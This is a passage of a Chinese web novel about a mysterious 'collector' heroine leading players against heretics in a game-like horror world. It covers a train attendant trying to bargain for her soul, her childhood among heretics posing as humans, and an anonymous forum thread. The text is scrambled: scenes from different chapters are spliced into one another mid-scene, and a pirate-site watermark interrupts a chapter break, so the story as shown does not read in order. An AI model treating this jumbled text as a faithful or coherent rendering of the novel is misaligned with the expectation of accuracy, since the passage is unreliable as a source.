乘务员在说话的时候，每一个字、每一个音节都如同唱诗班般纯洁无暇，轻而易举将其他密匙玩家拉入轻飘飘的幻境，顺着它的话思考。 尤其是猎人。 林镜子和疯苹果尚且存留着几分清明，神情只是略显迷茫。 但当他们听见乘务员——诱惑收藏家交出灵魂的时候，全部猛地惊醒。 枪尖对准乘务员的咽喉。 两颗附魔子弹，在心脏前被无形的力量拦下。 它脸上露出几分不悦，但还是缓缓将双手抬手，作出投降状。 乘务员轻笑道：“您的队友，似乎未经您的命令，就妄自行动呢？” “收起武器。”方羲平静地说。 顺手把面前未喝一口的茶杯，摔落在地。 发出啪啦碎裂的声音。 而黏附在其他密匙玩家身上的无色触手，随之溃散。 乘务员在这一刻，几乎恨得崩碎了三颗人类牙齿。 它的触手居然被“杀死”了足足十三根！ 要知道豢养一根新的触手，可是要花费不少时间，异端一向没什么耐心。 平静。 忍耐。 这只是必要的蛰伏。慢慢来，她已经向圈套走出了第一步…… “我不需要这个答案。”方羲说，“我更想要别的东西，用百分之一的灵魂交换，把天秤拿出来吧。” 方羲的双手搭在桌面上，双手合十交握，下巴抵在手上，露出一抹微笑。 “收藏家……”林镜子忍不住扯了扯她的斗篷，焦急地说，“你不能答应它，百分之一的灵魂实在太多了。” 很少发言的疯苹果，脸上也露出一丝迟疑，但她没有抬到明面上劝阻。 而猎人们一向不会插手造梦家与傀儡师之间的事情，他们习惯于服从命令。 但当它们意识到自己的保护壳被划破的时候，瞬间唯唯诺诺地缩了起来，试图缩小到人类肉眼看不见的最小字号。 方羲使劲扒拉了好一会，才看清了上面的文字。 于是，方羲原本深受打击的心灵，在此时大受震撼！ 院长…… 你曾经不是在我伤心落魄的时候，安慰了我整整一天一夜吗？你不是总会上门来看看我，给我送各种食物和生活物资吗？还有，不管我在孤儿院多么调皮，你也不在乎我故意恶人先告状，从来只是惩罚其他小屁孩但从来不罚我吗…… 【院长】：方羲，你下次能不能告诉我扮演到什么程度才算合格？你究竟对我有哪里不满意？就不能明明白白地告诉我吗？这样我才方便改正缺点！我又不是人类，也不是你肚子里的蛔虫，我怎么能做到每一次都符合你的心意啊？ 【院长】：人类真是狡诈的生物，方羲，尤其是你！实验基地里明明有这么多胚胎，但我为什么偏偏选中了你！你是我遇见过的最讨厌的人类！！！ 【院长】：照这样下去，我究竟什么时候才能换回我的左眼…… 不是。 原来你不是人啊？ 第 178 章 第 178 章 “吱嘎——” 独自沉迷飞行棋的一千零二，发现方羲还没回来多久就出门，赶紧慌里慌张地跟了上去。生怕这只情绪不稳定的人类在她不知道的时候，出了什么事。 “我们这是要去哪？” 一千零二看着方羲挥手拦住一台无人自动公交，也探头探脑地上了车。 刷卡，支付四枚星币。 “孤儿院。” 一千零二闻言，立刻认真回忆了一番。 回忆完毕。 一千零二瞬间大惊失色！ 这鬼地方可不兴去啊！乘务员瞳孔巨震。 两只眼珠子被震惊到滚落在地，乘务员不得不弯腰捡起来，双手颤抖地给自己装上。 “恶魔不见得会输。它不是说过吗？这个人类和我们一样，被关在囚笼里。”播音员二号脸色迟疑了一下，然后坚定地说，“我们只要把她送进【天国】就好了。” 列车司机沉吟了一会，也赞同道：“说得对。乘务员，你快点去找她吧，让她填写目的地，你的胡说八道最有用了。” “哈？”乘务员伸出一根手指头，指着自己的鼻子，“你们确定？就让我一个异端去？” 播音员一号恶声恶气地说：“快滚！” 播音员二号：“你要是运气好的话，说不定真的能骗到她百分之一的灵魂。” 列车司机：“哪怕是一根头发也很有营养，你不一定要骗她的灵魂。” “好吧好吧。”乘务员咕哝道，“希望如此。” 乘务员简单地整理了一下自己的着装，从口袋取出一个镜子，练习了一会最优雅俊美的人类微笑。 然后推开门。 乘务员脸上的微笑瞬间僵硬。 “方羲，我们……”一千零二正想张口就劝，但看到方羲平静到没有丝毫表情的脸色，又默默把所有话憋回肚子里，只问，“你就这么想回去看看吗？那个地方可是和你想象得不一样！一点都不好！” 公交车等了一会，看没有人再上车，就缓缓关上了车门，启程。 方羲严肃地回答：“因为我有一件事情想要亲眼验证真相。” 虽然被播音员一号骂“怎么不多长点脑子”，但乘务员在绝大部分情况下，哪怕不更新大脑，也永远不会失手。 六只蚂蚁，虽然也都挂在食物排名上，但不必在意。 麻烦的是这名傀儡师。 乘务员微微眯起眼睛，谨慎地打量了她一会。 她似乎佩戴着一张假面。乘务员轻而易举地发现了这一点，这很正常，许多人类玩家为了逃避异端的侵蚀，会特地披上一层累赘的外皮。 乘务员看不穿人偶师假皮之下的真实面目。 反而，被她皮囊之下，灵魂隐隐散发出来的光辉，刺伤了眼睛。 方羲故作惊讶地说：“你为什么哭了？眼睛这么红？” 乘务员：“……” 它沉默地把自己前半面眼球调转方向，露出后半面的备用人类眼睛。 列车的十六座车厢，全被方羲带领的第一分队，全程无伤通行。 “您好，收藏家。” “我听说过您的名字。” 乘务员身形挺拔，盗窃了一张最俊美的人皮，制服由最上等的动物皮革手工缝制，质感如绸缎般高雅丝滑，每一个细节都透露着刻入骨髓的傲慢。 佩戴着一只银色指环、指骨分明的右手，缓缓放在并不存在的心脏之处，弯腰致意。 它听见自己的血细胞在恐惧，概念意义上的心脏在跳动，本体疯狂嘶喊着要逃离出这副渺小的身躯。 但如果它能如其他同类所言——夺取她的灵魂。 那么这次九死一生的狩猎，想必能为它的履历刻下最浓重的一笔。为了感谢这只蚂蚁的贡献，它愿意为她特地打造一座最高最华丽的墓碑。 “我一定会将你的身体精心烹饪” “每一个身体关节、每一片大脑皮层、每一条细小的血管” 【她】是一个非常危险的猎物，但乘务员认为，挑战一次高难度的狩猎未尝不可。 而它不一定会输。 乘务员朝人偶师露出一个发自内心的优雅微笑，嘴巴一张一合，宛如古老歌谣的话语落入紧绷的空气。 仿佛自带奇异的魔力一般，狭窄的列车空间，开始碎裂、变更。 “按理来说，您背后那六只蚂蚁，要交付出百分之十的灵魂，才有资格和我交流。” “但看在您的份上，我允许他们共同参与这场对话。” “您是想要换取些什么东西吗？当然可以。” “但这座列车似乎过于简陋。” 乘务员打了个响指。 列车被撕下一层表皮，瞬间变成一个古典优雅的中世纪房间。 纯黑色的天花板，悬挂着暗黄色的金属星月。 壁炉下燃烧着的并非一团火焰，而是数盏永不枯竭的蜡烛。 黑白棋盘的地板，覆盖着一图案复杂的暗红色地毯。 房间面积还算大，但没有更多的装饰物，甚至没有正常的桌椅。 “请坐。”一只精灵之眼、力量媲美大异端的球形关节人偶 [图片已被藤蔓覆盖] 食物排名：2 关键标签： “……” “……” “……” “怎么没有异端说话” “好像是她把大魔女杀死的吧” “（世界静默）” 一名灰头发、脑子不正常的女性人类 [图片加载失败] 食物排名：1 关键标签： （各位异端请积极提供线索） “她居然把我们的血当作衣服的一部分！” “神经病！去死！去死！去死！” “（扭曲的谩骂）” “（愤怒地咕噜噜吐泡泡）” “有没有异端能够提供躲避她的技巧？” “不知道，低级异端她可能看不上，一般坠落的都是大异端” “你是不是没长出大脑，低级异端她也全要，人类的贪婪在她身上展现得淋漓尽致” “怎么砍掉她的上帝之手？” “呵呵哒，想得倒是挺美” “她没把你做成材料就不错了” “……” “建议脑子少的异端能躲则躲，因为你们是一群只会思考却不会【恐惧】的低能儿——来自一名大型异端的善意忠告” 乘务员话音刚落，房间正中央，随之出现了一张深色腐旧的长桌，一共八个位置。 方羲瞥了一眼桌上浮现的文字。 【只价值一百个金币的长椅】 【这是乘务员在五十年前，特地伪装成人类，跑到阿拉斯代尔之城偷走的原色木头桌椅。】 好在，方羲没有再为难它，只是在海滩上无聊地闲逛。 偶尔她不小心踢到一只水母、或者一只海龟，就会停下来，然后冷眼看着这群小东西一边惊恐尖叫，一边高速逃走。 圣母瞅了瞅方羲那颗雕刻着十字架的左眼，忽然小心翼翼地问道：“方羲，我的眼睛，你什么时候能还给我？” “我说过要还你吗？” 圣母顿时不敢置信地瞪大眼睛！ 仔细想想，方羲好像确实没有说过要还…… “可是、可是。”尼斯湖大水怪急得转圈圈，弱弱地说，“这本来就是我的……” 那天，小小的方羲捂着空荡荡的左眼眶，忽然半夜造访，要求它赶紧造一颗人工眼球，或者机械义眼也行。 “我真的做不出来，我根本不懂你们人类的生命构造。” “那好吧。” 于是，方羲抢走了圣母最强大的“核”。 用来填充她那还流着血，空荡荡的左眼眶。 ——谁让应该照顾她、对她千依百顺的院长，没能力制作出合适的人类义眼呢？ 第 179 章 第 179 章 世界观崩塌就是这种感觉吗？ 方羲感觉有点无所适从，又觉得一切都在意料之中。 蓝星是她的造梦场…… 小时候从图画书上看到过，人类应该吃饭、玩耍、学习、工作、衰老与死亡……而身边的人又不太像人，还会自相残杀，和书上的乌托邦一点也不一样。 所以她才会那么执着地要求异端长得像人，性格也像人，并且各司其职，扮演出每一种本应该在人类世界出现的角色。 这个过程持续了十余年。方羲大受震撼。 她还以为，这座空旷的房间，是异端为了营造神秘感，而特地取消了一切家具布置。 没想到【乘务员】居然是个穷鬼。 穷到只能去偷桌子。 方羲怜悯地想，连望向乘务员的眼神都带上几分怪异，遗憾地摇了摇头。 人类道德有待评估的乘务员：“？” 林镜子替方羲拉开中间的椅子。 方羲与乘务员坐下之后，六名玩家看见方羲微微颔首的示意，也才跟着坐在两边。 和拥有智慧的异端，用这种形式“战斗”，其实也说不上罕见。林镜子此前不是没有经历过，但她心底依然掠过一丝焦灼，习惯性扯了扯头顶的魔女帽。 异端学习人类的语言，就像是高维生物主动坠落成低维生物，恶作剧一般地用他们这一层级的交流工具，更好地玩弄蚂蚁而已。 部分造梦家，也拥有【言灵】的天赋。 但这种天赋甚至没有普通的增益类有用，因为这一类型的造梦家，一旦产生怀疑、恐惧，想象不出胜利的场景，言语也会随之失去力量。 而异端们不需要像人类思考这么多事情。 还有，停留在列车的其他队友怎么办？一定会有源源不断的异端上车，收藏家不在的话，异端们肯定会主动攻击吧。 林镜子面上不显丝毫情绪，但在就坐的短短十几秒之间，大脑闪过无数纷杂的念头。 “脏死了。” “你作为邀请者，为什么连一杯茶也没有？” “把桌子擦干净。还有，倒茶。” 人偶师冷淡地说——话语等同于命令。 乘务员刚刚坐下的身体，居然下意识站起来……它的眉眼不详地跳了跳。 什么情况？！乘务员震惊地想。 它习以为常的傲慢被方羲轻飘飘的一句话击碎。 但作为一只深谙能伸能屈之道的高危异端，乘务员耐心压下心中的怒意，优雅地鞠躬，轻声呢喃了几句什么。 桌子上深入骨髓的血污和肉沫，瞬间被清理一空，深棕色的桌椅重新变回原木色。 一个雕刻着蓝色条纹的茶壶、八个茶杯，凭空浮现，缓缓落在众人面前。 茶壶不情不愿地开始工作，逐一为他们倒茶，第一个自然是方羲。 完成这一切之间，乘务员身上莫名其妙的限制终于解除，它重新坐下，内心松了口气。 这个人类真挑剔……其他人类在它这，可不会有这么好的待遇。算了，别和她计较了。 现在，蓝星异端的演技终于【合格】。 它们已经习惯了说话，长时间保持人类的形态。偶尔怨气冲天，会偷偷旷工不干活，但最后还是会回来，因为不敢离开太久。 在这里没有异端敢真的和方羲作对。 最冒犯的行为，也不过是试图寻找规则的漏洞，为自己划定一方净土，好卸下虚假的人皮喘口气。 就像方羲现在脚下的巢穴那样。 “七天了！”一名猎人满脸焦急在列车走廊来回走来走去，绝望地说，“怎么办！一点消息都没有！收藏家和秦队她们会不会……” “安静。”程蔓野说，“做好眼前的事。我们已经拿到了司机的权限，就先让列车一直开下去。” 另外一名猎人迟疑地说：“我们就这样一直留在列车上吗？” 程蔓野回答：“对。收藏家跳下去之前，强调过我们不要轻举妄动，所以就像这样保持原样就好了。” 宋白玉也在调解列车里隐隐绝望的气氛：“各位，不要紧张！我知道你们担心收藏家和秦队的安危。但你们仔细想想，哪怕是其他傀儡师，也不会单一地依靠傀儡战斗！难道收藏家会不明白这一点吗？她肯定有无数自保的手段！” 造梦家疯苹果也说：“更何况，从副本开始到现在，收藏家在没有替行者的情况下，不也是照样带着我们一路无阻地开路吗？ 其他密匙玩家神色微动，垂下眼帘。 在方羲和秦淮月消失的第一天，剩下的十九名玩家，在四名造梦家的指挥下，夺取了列车司机和播音员的权限。 第二天，猎人们简单修整了一会，便继续斩杀源源不断涌上列车的低级异端。此时，造梦家们则在研究该怎么使用“列车司机”的权限。 第三天，四名造梦家初步学会了如何让列车路过站点但不停下，还有如何选择前往哪一个站点，暂且减缓了猎人们斩杀异端的压力。 第四天，林镜子发现，有一个途径次数最多的站点“光明女神的修道院”，在地图上消失了。 从第五天开始，密匙玩家开始从最弱小的外壳开始，逐步削弱击破，直到第七天，地图上消失了五个低级站点，一个中级站点。 但紧绷的战斗一旦停下，他们的思绪忍不住飘到消失的收藏家和秦淮月身上。 也就让平静了七天的密匙玩家们，极其罕见地发生了一次士气低迷的对话——原本以他们的心理承受能力，的确不会出现这种情况。 但那是锚点建立者，还有历史上异端抗性最高的猎人。 她们居然先于其他实力明明更弱一层的队友消失，直到现在也生死不明。 资历最老的姜渺，其声音郑重落下。 “请相信锚点建立者，请相信她。” 这场对话来得突然，也结束得很快。他们作为一批站在人类前哨的存在，自然不能因为失败而停下脚步。 现在，四名造梦家，和猎人姜渺、宋白玉正聚集在车头房间，讨论下一个更适合击破的站点。 林镜子一向很少发表意见，但也认真听着，不时微微点头。 但。她忽然浑身僵硬，脸色一凝。 ……一个黑影在远处掠过。 那是什么？我刚刚的视野是正确的吗？ 林镜子微微睁大眼睛，最大限度地运用自己灵感。 ……什么都没有，看来是错觉。 她松了口气。这种情况对造梦家来说的确很常见，当意识到视野里忽然出现一丝一毫的异端气息时，必须抓住刹那的不对劲，用灵感分辨真伪。 “镜子，刚刚怎么了？”程蔓野问。 “没什么，只是错……” 六名玩家同时瞪大眼睛。 远处，有一名身着深蓝色水手服，头发随着狂风卷起的奇怪少女，并腿蹲在一根高高的电线杆上。 她无聊地撑着下巴，望着远处，没有看列车一眼，一副丝毫不感兴趣的样子。 经过七天切身实地的观察，密匙玩家已经能够确定，这座列车运行规则非常特殊，它穿梭在无数个不同时空的副本，运载异端前往其他站点。 一旦停站，就会有源源不断的异端上车。 但在穿梭过程中，列车四周从来不会出现任何一只异端。 列车明明正处于“不停站”的状态！ 它在一片蔚蓝高空中，在长长而没有尽头的浮空轨道上缓慢行驶，一根根灰色电线杆在左右两边掠过。 少女与列车的距离越来越近。 他们几乎是同时握紧武器，蓄势待发。 可在眨眼的倏忽间，消失了。 没有留下丁点痕迹。 列车没有发生丝毫意外，好像凭空出现又消失的少女，只是玩家们的一场幻觉。 疯苹果喃喃道：“灵感的错觉吗？” “不对……不对。”坐在驾驶位置上的程蔓野，警惕地说，“很不对劲，宋队，请立刻去通知其他玩家，做好战斗……” 程蔓野的声音忽然卡住了。 “嘿！” 叛逆少女刷地出现，脸庞好奇地贴着玻璃窗，头发顺着重力掉落，大地颜色的双眼眨了眨。 她整个人趴在列车外部的车头顶，全然没有意识到这是一个危险动作，反而对着受到惊吓的程蔓野露出一个友好的微笑。 “这是什么东西？你在开车吗？” 第二个长得一模一样的少女，右手搭在程蔓野肩上。 “哇！你的枪好酷，我可以借来玩玩吗？” 第三个夏青禾出现在车头房间，一脸渴望地看着宋白玉手上的附魔枪械。 “为什么你们身上都有主人做的项链，我也想要！为什么我没有呜呜呜呜呜！” 第四个夏青禾意识到不公平，开始在地上滚来滚去，哇哇大哭。 只是一块木板而已…… 一道灵光乍现。 方羲忽然想到什么，脸上久违地露出一个令异端心惊胆颤的微笑。 一块木板就只是木板。 但一百块、一千块、一万块的木板，是不是能搭建成一座巨大的海盗船呢？ 虽然这艘船永远无法开出蓝星，撞破陨石与恒信，抵达宇宙的另一角……但是就当她任性吧，她总是喜欢在这些无意义的事情上浪费时间。 “别捡垃圾了。”在异端惊恐的注视下，方羲又恢复了以前那副无法无天的样，并且理所当然地指挥道，“从今天开始，你们都给我去砍树，捡木头！” 蓝星异端智商不太好，根本不懂如何制造星航、宇宙飞船、光脑、机器人、精密的芯片……它们能学会说话就已经不错了，就算方羲想制造星航，这群家伙也帮不上忙。 一个人制造星航要花费数年的时光。 但是木头船就容易多了。 她完全可以使唤异端，帮她搬巨大的重物，一起拼接木板与木板嘛！毕竟这些家伙都是傻大个，不用白不用！ 而且她已经对要求异端扮演人类这件事情彻底失去了兴趣，既然没有星航，那就先随便做个海盗船玩玩！ 也好过……天天去想念那些再也不会相见的……朋友。 第 180 章 第 180 章 【趁着大家都睡了，偷偷发个水帖，白天就删，夜猫子们请进！】 【发布时间：2518年1月2日】 楼主：【暗中观察.jpg】 1L匿名的黑咖啡：【大胆！我简直秒懂你想问什么！但楼主你别傻了，虽然今天有一半的通用系统在休眠更新，但还有另外一半在值班啊！而且你别忘了，某个首席玩家只要不是在任务中，大部分时候都在上网冲浪！劝你早点删，不然马上就要被他封号了……】 楼主：【没事的没事的，我今天打听过了，他们最近都会很忙！相信我！】 3L匿名的牛乳茶：【真的假的？那我可就大胆聊了！说实话我对不可说的事特别好奇，但众所周知，不管在哪里，我们都被严令禁止讨论她的事。】 4L牛乳茶：【对了，听说之前有个愣头青直接怼脸去问……你们能想象吗？宋长官直接就当场黑脸了！当时还有别的密匙玩家在，全场氛围就像掉了冰渣子一样，太可怕了，我整整一个星期都没睡好……】 5L黑咖啡：【牛乳茶，你说的那个愣头青，不会就是你自己吧？】 6L牛乳茶：【冤枉啊！我只是正好在场而已！】 楼主：【已经能想象到那场面有多么恐怖了，谁都知道宋长官已经是脾气最正常最好的首席玩家……只能说那个新晋玩家一点情商都没有，根本就是精准踩雷。】 8L黑咖啡：【我猜，专挑宋长官问也是因为他和不可说关系比较熟吧？】 楼主：【熟？要说熟，那不是还有另外几个吗？】 10L黑咖啡：【这你就不懂了，柿子要挑软的捏，其他几个人很显然没有宋长官好说话。】 11L牛乳茶：【笑死了，你们确定吗？那个愣头青后面被宋长官拉进训练场，罚得相当惨烈，命都要没了。现在我们都尊称宋某人为笑面虎，哈哈。】 楼主&黑咖啡：【你怎么知道得这么清楚？！】 14L牛乳茶：【实不相瞒，这个愣头青就是我的队长。】 于是，牛乳茶收到了来自楼主和追猫人各一张“路漫漫其修远兮”深表同情的表情包。 而旁边那几十名密匙玩家，还在原地争吵，隔着能量罩，也能看出里面的场面越来越激烈。 追猫人在旁边听完了整场对话，心里隐隐冒出一阵不详的预感，忍不住上前扯了扯踏樱的袖子。 “所以。”解云的水晶球落回掌心，里面倒映出一幕惨不忍睹的血淋淋的画面，“柳莺，你也要和前面那堆天真愚蠢的家伙，去赴这场必败的战场吗？” “……” “我为什么不去？” “呵——那你可真是了不起。” “多谢夸奖。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 180-190 第 181 章 第 181 章 追猫人觉得情况不太对劲。 自从那一批实力排名前列的首席玩家，全部自愿奔赴那个胜率和生存率都缥缈的高危战场……事实上，时间已经过去了整整六个月。 但没有任何一个人归来。 黑天鹅并非没有尝试过派遣新的密匙队伍去救援，但他们没办法找到那个进入高危战场的通道。 如果时间再继续拖延下去……恐怕黑天鹅只能判定这整整一百名首席玩家死亡。 现在，整个浮空岛都弥漫着一种风雨欲来的前兆。就连一些对这次任务毫不知情的新晋玩家，也隐隐约约感觉好像有什么大事要发生了。 怎么会这样呢？ 追猫人很担心师父的安危，一天比一天焦急，几乎食不下咽。一想到她可能真的无声无息地死在了战场……柳莺以前不是向来战无不胜吗？这次怎么会一点消息也没有？ 还有猫猫也是。 当那扇散发着邪气的大门，彻底关上的那一瞬——她就没办法再捕捉到橘猫的丝毫气息。 追猫人忍不住拿着一根小树枝，忧愁地戳了戳大树底下的一个猫碗。 宋白玉心底莫名其妙有点不安。 回得太晚了，收藏家好像已经下线了。 他有点纳闷，在脑海里疯狂过了一遍副本里的事。 收藏家是有什么急事吗？淡金色、雕刻着繁杂花纹的长廊，窗户洒落金色的微光，空气漂浮着尘埃，即使是被穿透心脏的修女尸体，也很快被“刷新”。 长廊一尘不染。 方羲顿住脚步。 滴答。 方羲微微抬头，一个巨大的女神头颅，眼睛流着血，轻轻滴落在她的脸颊，发出滋啦滋啦的烧焦声。 象白色的头颅飘荡在修道院之上，淬炼着血的天空，规则文字像是蜡烛一般缓慢地流，凝为一颗红色的石榴。 落在手掌，光滑细腻的、深红色的表皮，仿佛带着诡谲的诱惑力，让人不由自主地想撕开外壳，吞咽颗粒饱满的果实。 ……这是猎人们眼中的幻觉。 “看着我！看着我！”方羲猛地转头，上前一步，夺走秦淮月手掌里的石榴，单手把它捏成碎泥。 夏青禾上前，挥出拳头，直接把挂在墙上的一副石榴水果画像砸裂，墙壁和地面流着血。 这下，所有人彻底清醒了。 石榴汁水如晶莹剔透的血河一般，在方羲手中哗啦啦地流下。 方羲的神色有些冷，目光在十六名猎人身上来回打转，发现他们无一例外地坠入女神的幻觉。 他们才刚刚踏进“走廊”，走出第一步。 修道院内部的世界，可能跟外界完全不是一个重量级。 “收藏家，抱歉…” 四周响起猎人们有些低迷的道歉声。 方羲想了想，又抓起虚空中几缕丝线，逐个在首席玩家的手腕上捆了一圈，这样能多少能驱赶胆小异端的突袭，还有意志的清明。 “保持清醒。”方羲声音很平静，“你们可是失乐园现阶段最强大的一批玩家。这片地带似乎逼近你们的极限了？” 她顿了顿，挑出一缕金线：“当丝线发红之时，就原地停下，不要再跟上来，夏青禾的分身会来照顾你们。不管是猎人还是造梦家。林镜子，秦淮月，你们两个也是。” “可……” “我明白了。” 林镜子的欲言又止顿住，看了眼秦淮月，也没再反对。 跟随收藏家，和跟随其他任何一名傀儡师的感觉完全不同。 越走到副本深处，连队友本身也会沦为一个属性明确的工具，但这也不能说是错。反而是过分的温柔寡断，会导向倾覆一切的失败，那才是千夫所指的错误。 但这里没人会说收藏家过于顾及队友生命的习惯，是一种错误。 又一张奇怪的白纸凭空飘落在方羲手里。 【只有获得守卫的认可，才有资格看见光明女神】 方羲冷哼一声，举起长弓，瞄准长廊的无尽之处，放了一箭。 长廊瞬间发生铺天盖地的变形。 地板分割成一道道悬浮阶梯，墙壁、天花板、花窗哗啦啦裂成碎片，如光影一般掠过人类的身侧。 猎人们立刻拉近相互的距离，长廊之外似乎是一片熟悉的纯黑，这才是他们一如既往熟悉的战场。 什么东西也看不见，只有队友们黑暗中模糊的身形，每走一步都仿佛要踩进死亡的陷阱。 “好好玩！”夏青禾兴奋地喊道，蹦蹦跳跳地踩上阶梯，向下跳跃，每踩一步就亮一格。 猫猫也慢吞吞地爬着梯子。 方羲摸了一下挡在面前的庞然大物，似乎是一扇巨门，只有守卫的钥匙才能开启。 她取下手腕上的黑山羊之角，艾莉克萨重新出现在众人视野中，睁开红色的眸子。 “跟着替行者。” “杀死阶梯尽头的教皇，圣女和牧师。” “我在原地等你们。”方羲说，“转身，前进，不要管四周的黑暗，我会提醒你们。” 除了守卫，其实还有漂浮在半空的恶心杂虫，挥舞着皇冠的大章鱼，舒展着菌丝的降落伞，雕刻着精美花纹的巨型墙壁怪物。 但这些，首席玩家都看不见。 他们视野中只有背景的黑暗，还有一层层微微泛着光亮的阶梯。 方羲不打算再像之前那样，将灵感的视野共享给队友，她担心这些首席玩家承受不住，万一当场暴毙怎么办？ 大白鸦们没什么事干，在半空扑腾翅膀打了个架。胜利的鸦施施然落在方羲肩上，骄傲地大叫了几声。 一根菌丝试图缠上疯苹果的脚，方羲放了一箭，击落这个丑丑的大蘑菇。 变色蜥蜴爬上阶梯，试图殴打走在最末尾的姜渺，方羲右手轻轻一扯线头，蜥蜴脚下的阶梯啪地一声消失。 蜥蜴坠入深渊，底下传来一阵接连不断的尖叫。 方羲思考两秒，对着阶梯之下的深渊，又放了一束光辉。 世界响起一阵惊雷之声，覆盖了异端的惨叫。 首席玩家们同时注意到这一点，但不负责后方清扫的猎人，也没有选择回头。 收藏家说，他们的目标是杀死守卫，其他任何一切的事情都不需要理会。 不断拉弦放箭，方羲无情地把章鱼的皇冠打落，甚至在章鱼愤怒地挥舞触手的时候，故意哼笑几声。 清理完这些可能突袭首席玩家的异端，方羲基本就没什么事可干了，无聊地靠在大门上，开始观察这些首席猎人之间的区别。 难道是要暂时回收艾莉克萨吗？ 这倒也是……近期所有人几乎没有副本可刷，说是忙，也只是在忙恶魔之后的区域数据修复。 至于调查异端静默的事情，考虑到他们才刚胜利归来，自然没安排在宋白玉等人身上，只是给了一些琐碎简单的任务。 但是，这种事只要说一句就好了。以收藏家的性格，根本没必要特地见面。 宋白玉百思不得其解。 秦淮月的声音在旁边响起：“宋队，我给你审批通过了。” “哦！感谢感谢！” “明天离开之前，你记得完成例行的身体检测。”秦淮月平静地说，“这次检测只针对我们二十个人。” “说得也是。”疯苹果沉呤道，“多亏了收藏家，我们每个人多少都突破了极限。” “我也感觉我的【灵感】更高了。”林镜子说，声音有些轻快。 宋白玉挠挠头，默默腹诽道。他倒是没什么感觉，还跟以前一模一样。 可能因为他是个猎人吧。 …… 隔日七点。 核心区第七层的治疗所，一共有九十五间A级检测室，但常驻开放使用的只有十间。 “今天可是特地为你们单独设了一间检测室。”医生徐千秋深沉地说，“早上就你们四个过来吗？挺好，今天我可以闲点。” 宋白玉上前搭住医生的肩，乐道：“你不会是端着前辈的姿态，特地抢来这份任务吧？” 徐千秋大惊：“我呸！你以为我和你是同一种人？？？行了，去吧，流程和以前一样。” “秦队，宋白玉，你们两个先来。猎人的指标和造梦家不一样，你们只测异端抗性就够了。” “我看看，宋白玉你上一次的异端抗性有四千……嘶，秦队是八千。” “进入检测室。” 就在她打算回家的时候——余光忽然瞥见一个小小的黑洞。 哦，那是她还没探索过的，副本更深处的地方。 南瓜一时之间有点纠结，她已经在副本的外层转悠了大半天，都没看到一个人类，就连干枯的血迹和骨头都没有！那再深一点的地方，岂不是生还率更低，怎么还会遇到顾客呢？ 南瓜不想再浪费时间。 但是南瓜转念一想，万一呢？ 于是南瓜的眼睛反转了一下，转到镜像的小木屋里，用虚空之手找出一枚硬币。 那就用抛硬币决定吧！ 正面就继续往深处走，反面就回家！ 向上抛。 落至掌心。 答案是正面。 那好吧。 南瓜嘟嘟嚷嚷地抱怨了一通，有点后悔，其实她更想回家。但既然选择了抛硬币的方式决定，那她也只好按这个结果来。 第 182 章 第 182 章 “……” 在南瓜踏入副本内层的第一步，她就感觉这里非常、非常不对劲。 简单的说，就是时空太混乱了。 有的时空被放了两倍速，或者零点五倍速。 有的时空还在播放三年前、六年前、九年前甚至一百年前的事。 南瓜左看右看，顿时长长地叹了口气。 这里根本不可能接到顾客嘛！ 哪有人类会来这种鬼地方？他们不被乱七八糟的时间线切成片就不错了！谁把这个地方拨弄成这样的？这也太幼稚了吧？ 南瓜这么想着，也这么直白地说了出来。 毕竟周围又没有人。 不料，当南瓜话音刚落，她就看见整个世界抖动了一下。 一道声音幽幽地响起：“你才幼稚。” 林镜子问：“你们转发收藏家那条宣传了吗？” 江簌苍蝇搓手：“我已经准备好了！这几天我打算通宵多做点任务，这样上边可没有理由不通过我的批假！我看上面罗列出来的商品，全是净化度九十以上的材料！” 疯苹果瞥了一眼江簌，提醒道：“你要是想凑热闹，我们没人反对。” 林镜子轻声说：“上面的常驻商品，应该是对新晋玩家开放。至于其他的……收藏家似乎想要将店铺作为一个特殊联络渠道。” 几乎算是一种隐晦的暗示。远处默默等待的恶魔又打了个冷战。 方羲被忽然这么一提醒，又陷入丢失皮箱的悲伤，自言自语道：“唉，只能说我太粗心了，但明明我都给皮箱打上灵魂的烙印了，我这么多战利品就这样突然没了……” 宋白玉想了想安慰道：“既然有灵魂的标记，肯定能找回来。我们的军用手环里也存着一些特殊残肢，物资方面也不缺，收藏家你随时可以调用。里面存着什么重要的东西吗？” “……很多。”方羲想了想，又暗自捏了把汗，感到一丝心虚。900号还放在皮箱里呢，还有那本存着傀儡尸体的集邮册。 宋白玉在旁边碎碎念了一会，然后又忽然无声无息地离开。 林镜子花了两个小时把方羲身上错乱的手术缝线拆掉重打，挥了挥魔杖，给方羲的生命值加到最满。 大部分情况下，造梦家只“使用技能”就够了，但这里是高危副本。林镜子担心不好好处理，伤口会投影到收藏家的现实身体。 来之前，黑天鹅的管理者也提醒过，收藏家来历不明，他们似乎也追踪不到对方现实生活的地方。如果突逢意外，可能无法在现实中提供救援，所以造梦家们必须不惜一切代价保护好收藏家的生命。 中途，其他造梦家也去查看了一下秦淮月的身体情况——很显然，和以前一样，几乎无伤的状态。 疯苹果观察着秦淮月的灵魂状态，愣了好一会，才试探性问：“秦队，你的灵魂……” “好多了。”秦淮月微微点头，目光落在方羲身上，像是一种隐晦的暗示。 疯苹果瞬间了然，脸上也露出一个微笑。 “收藏家，好了。”林镜子轻声说，“你还有哪里感觉不舒服吗？” 方羲从昏昏欲睡中猛地清醒，侧目看了一会远处的路，嗯了一声，收回手。 “那你先休息一会。”林镜子看上去仍然不太放心，叮嘱道。 宋白玉又神不知鬼不觉地窜了回来，试探性递了瓶已经扭开盖子的水。 方羲接过，喝了几口，忽然问：“你手环里有吃的吗？” “有有有！”宋白玉立刻开始搜刮自己的物资库，绞尽脑汁翻出一些看起来更有人情味的食物。 “喵喵！” 方羲撕开一包牛肉干，还没吃几片，沉迷捉鸟的猫猫又乐颠颠地跑了回来，坐在方羲怀里，开始喵喵叫。 于是方羲给猫猫喂了几片牛肉干，看着夏青禾盯着猫猫有些渴望的神情，想了想，干脆把猫猫和牛肉干一起递给少女。 大概是看在零食的份上，猫猫才勉为其难和夏青禾待了一会。 方羲摸摸下巴，她记得猫猫和春醒相处得挺好的，怎么到夏青禾这里就不行了？ 靠着护栏，四周的队友也没像刚刚那样吵闹，说话甚至刻意放低了点声音，方羲发了会呆，目光在宋白玉和其他猎人之间来回切换了几下，忽然有些疑惑地问：“你好像比其他猎人有精神一些。” 除了秦淮月，其他猎人脸上或多或少露出几分疲态，体能上的累倒是其次——主要是异端抗性在逐步逼近他们承受的历史极限。 